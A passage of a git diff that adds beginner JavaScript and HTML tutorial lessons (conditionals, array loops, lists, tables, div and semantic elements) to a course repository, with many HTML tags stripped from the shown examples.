+After that, inside the parentheses of `console.log()`, call the `math()` function with the number `53` as first argument, the number `61` as second and the number `67` as third argument.
+
+Check to see if your program is correct by running this command:
+
+```bash
+javascripting verify function-arguments.js
+```
diff --git a/Node_Week_1/javascripting/if.md b/Node_Week_1/javascripting/if.md
new file mode 100644
index 00000000..1318257e
--- /dev/null
+++ b/Node_Week_1/javascripting/if.md
@@ -0,0 +1,44 @@
+## Statement: If
+
+Conditional statements are used to **alter the control flow** of a program, **based** on a specified **boolean condition**.
+
+A conditional statement looks like this:
+
+```js
+if (n > 1) {
+ console.log('the variable n is greater than 1.')
+} else {
+ console.log('the variable n is less than or equal to 1.')
+}
+```
+
+In this example:
+
+**Logic statement**: `n>1`
+
+If n>1, the code will print `the variable n is greater than 1.`
+
+If n<=1, the code will print `the variable n is less than or equal to 1.`
+
+***
+
+Inside parentheses you must enter a logic statement, meaning that the result of the statement is either true or false.
+
+The else block is optional and contains the code that will be executed if the statement is false.
+
+## The challenge:
+
+Create a file named `if-statement.js`.
+
+In that file, declare a variable named `fruit`.
+
+Make the `fruit` variable reference the string value **"orange"**.
+
+Then use `console.log()` to print "**The fruit name has more than five characters."** if the length of the value of `fruit` is greater than five.
+Otherwise, print "**The fruit name has five characters or less.**"
+
+Check to see if your program is correct by running this command:
+
+```bash
+javascripting verify if-statement.js
+```
diff --git a/Node_Week_1/javascripting/loop through array.md b/Node_Week_1/javascripting/loop through array.md
new file mode 100644
index 00000000..93dbe84f
--- /dev/null
+++ b/Node_Week_1/javascripting/loop through array.md
@@ -0,0 +1,53 @@
+## Loop Through The Array
+
+For this challenge we will use a **for loop** to access and manipulate a list of values in an array.
+
+Accessing array values can be done using an integer.
+
+Each item in an array is identified by a number, starting at `0`.
+
+So in this array `hi` is identified by the number `1`:
+
+```js
+const greetings = ['hello', 'hi', 'good morning']
+```
+
+It can be accessed like this:
+
+```js
+greetings[1]
+```
+
+So inside a **for loop** we would use the `i` variable inside the square brackets instead of directly using an integer.
+
+```
+
+```
+
+
+
+## The challenge:
+
+Create a file named `looping-through-arrays.js`.
+
+In that file, define a variable named `pets` that references this array:
+
+```js
+['cat', 'dog', 'rat']
+```
+
+Create a for loop that changes each string in the array so that they are plural.
+
+You will use a statement like this inside the for loop:
+
+```js
+pets[i] = pets[i] + 's'
+```
+
+After the for loop, use `console.log()` to print the `pets` array to the terminal.
+
+Check to see if your program is correct by running this command:
+
+```bash
+javascripting verify looping-through-arrays.js
+```
diff --git a/Node_Week_1/learnyouhtml/14.md b/Node_Week_1/learnyouhtml/14.md
new file mode 100644
index 00000000..481c5dbd
--- /dev/null
+++ b/Node_Week_1/learnyouhtml/14.md
@@ -0,0 +1,35 @@
+## LISTS
+
+### Unordered lists
+
+
+
+Unordered lists look similar to ordered ones. Describing of list items remains the same, keep using `
` tag. The main difference is that you need to wrap all list items in `
` tag, which stands for unordered list. `
` tag represents an unordered list of items, typically rendered as a bulleted list.
+
+The `
` element is for grouping a collection of items that do not have a numerical ordering, and their order in the list is meaningless.
+
+Example:
+
+```html
+
+
first item
+
second item
+
third item
+
+```
+
+Preview:
+
+* first item
+* second item
+* third item
+
+
+
+Typically, unordered-list items are displayed with a bullet, which can be of several forms, like a dot, a circle or a square.
+
+If you need to set the bullet style for the list, take a look at type attribute. It can take these values:
+
+* circle
+* disc
+* square
\ No newline at end of file
diff --git a/Node_Week_1/learnyouhtml/15.md b/Node_Week_1/learnyouhtml/15.md
new file mode 100644
index 00000000..c23090c7
--- /dev/null
+++ b/Node_Week_1/learnyouhtml/15.md
@@ -0,0 +1,26 @@
+## LISTS
+
+### DEFINITIONS LISTS
+
+
+
+In some cases you need to implement glossary or to display a list of key-value pairs. There is `
` tag for such needs. `
` stands for definitions list and is used to encloses a list of groups of terms and descriptions.
+
+Terms are enclosed in `
` tag, which means definition term. Definitions are wrapped in `
` tags.
+
+Example with single term and description:
+
+```html
+
+
HTML
+
+ The standard markup language for
+ creating web pages and web applications.
+
+
+
+```
+
+
+
+Also, you can write multiple terms with a single definition, single term with multiple definitions or multiple terms with multiple definitions.
\ No newline at end of file
diff --git a/Node_Week_1/learnyouhtml/16.md b/Node_Week_1/learnyouhtml/16.md
new file mode 100644
index 00000000..ea788754
--- /dev/null
+++ b/Node_Week_1/learnyouhtml/16.md
@@ -0,0 +1,44 @@
+## LISTS
+
+### THE CHALLENGE
+
+In your HTML document create three lists:
+
+1. ordered list with 3 items
+2. unordered list with 3 items
+3. definition list with 2 pairs of term and definition
+
+The content of list items is up to you.
+
+
+
+Solution:
+
+```html
+
+
+
+
+ Lists
+
+
+
+
Item 1
+
Item 2
+
Item 3
+
+
+
Item 1
+
Item 2
+
Item 3
+
+
+
Term 1
+
Definition 1
+
Term 2
+
Definition 2
+
+
+
+```
+
diff --git a/Node_Week_1/learnyouhtml/17.md b/Node_Week_1/learnyouhtml/17.md
new file mode 100644
index 00000000..bd4ecb5f
--- /dev/null
+++ b/Node_Week_1/learnyouhtml/17.md
@@ -0,0 +1,85 @@
+## TABLES
+
+
+
+It's time to understand how tables work in HTML. Let's consider this table:
+
+
+
+
1.1
+
1.2
+
+
+
2.1
+
2.2
+
+
+
+This table has a size of 2x2. We could also say that this table has 2 rows and 2 columns.
+
+You create a table with the `
` tag, rows with the `
` (table row) tag, and columns `
` (table data) tag.
+
+Here is the markup for the table above:
+
+```html
+
+
+
1.1
+
1.2
+
+
+
2.1
+
2.2
+
+
+```
+
+
+
+If you need to add a heading row to your table, it's easy with `
` (table head) tags. Just create a row with `
` cells, like so:
+
+```html
+
Simple table with header
+
+
+
First name
← table head
+
Last name
← table head
+
+
+
John
+
Doe
+
+
+
Jane
+
Doe
+
+
+```
+
+Preview:
+
Simple table with header
+
+
+
First name
+
Last name
+
+
+
John
+
Doe
+
+
+
Jane
+
Doe
+
+
+
+Content of `
` tags will be displayed as bolder text.
+
+
+
+Each of those tags has a lot of special attributes. Read more here:
+
+* [`
` Attributes](https://developer.mozilla.org/en/docs/Web/HTML/Element/th#A ttributes)
\ No newline at end of file
diff --git a/Node_Week_1/learnyouhtml/18.md b/Node_Week_1/learnyouhtml/18.md
new file mode 100644
index 00000000..a1805381
--- /dev/null
+++ b/Node_Week_1/learnyouhtml/18.md
@@ -0,0 +1,60 @@
+## TABLES
+
+### THE CHALLENGE
+
+Create this table:
+
+
+
+
Europe
+
Asia
+
Africa
+
+
+
Ukraine
+
China
+
Egypt
+
+
+
Poland
+
India
+
Kenya
+
+
+
Italy
+
Thailand
+
Sudan
+
+
+
+Hint: The first row is a heading row, so you should use the `
` tag.
+
+
+
+Solution:
+
+```html
+
+
+
Europe
+
Asia
+
Africa
+
+
+
Ukraine
+
China
+
Egypt
+
+
+
Poland
+
India
+
Kenya
+
+
+
Italy
+
Thailand
+
Sudan
+
+
+```
+
diff --git a/Node_Week_1/learnyouhtml/19.md b/Node_Week_1/learnyouhtml/19.md
new file mode 100644
index 00000000..38e800c9
--- /dev/null
+++ b/Node_Week_1/learnyouhtml/19.md
@@ -0,0 +1,28 @@
+ ## BLOCKS
+
+
+
+Now you know the basic of styling and composing text in HTML!
+
+Let's move on to the how-to of creating a web page with UI elements you used to see on real sites and web-applications. This can be achieved with blocks.
+
+
+ ### HTML `
` element
+
+Let's familiarize ourselves with the div tag. The `
` element is the generic container and does not inherently represent anything. Use it on group elements for purposes such as styling, marking a section of a document in a different language, and so on.
+
+Here is an example of usage:
+
+```html
+
+
Any kind of content here. Such as
+ <p>, <table>. You name it!
+
+```
+
+Preview:
+
+Any kind of content here. Such as \
, \
. You name it!
+
+
+
diff --git a/Node_Week_1/learnyouhtml/20.md b/Node_Week_1/learnyouhtml/20.md
new file mode 100644
index 00000000..a8d49667
--- /dev/null
+++ b/Node_Week_1/learnyouhtml/20.md
@@ -0,0 +1,114 @@
+## BLOCKS
+
+ ### Semantic elements
+
+
+
+Now, let's learn about new fancy HTML5 tags that will help us format and design the layout of a webpage!
+
+
+
+ #### HTML `` element
+
+The `` tag represents the main content of the `` of a document or application. The main content area consists of content that is directly related to, or expands upon the central topic of a document or the central functionality of an application.
+
+The content of a `` element should be unique to the document, excluding any content that is repeated across a set of documents such as sidebars, navigation links, copyright information, site logos and so on.
+
+Example:
+
+```html
+
+
Important article about something
+
+
Lorem ipsum dolor sit amet, consectetur adipisicing elit.
+
Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
+
Ut enim ad minim veniam, nisi ut aliquip ex ea commodo consequat.
+
Duis aute irure dolor eu fugiat nulla pariatur.
+
+```
+
+
+
+ #### HTML `` element
+
+The `` tag represents a group of introductory or navigational aids. It may contain some heading elements but also other elements like a logo, a search form, and so on.
+
+Example:
+
+```html
+
+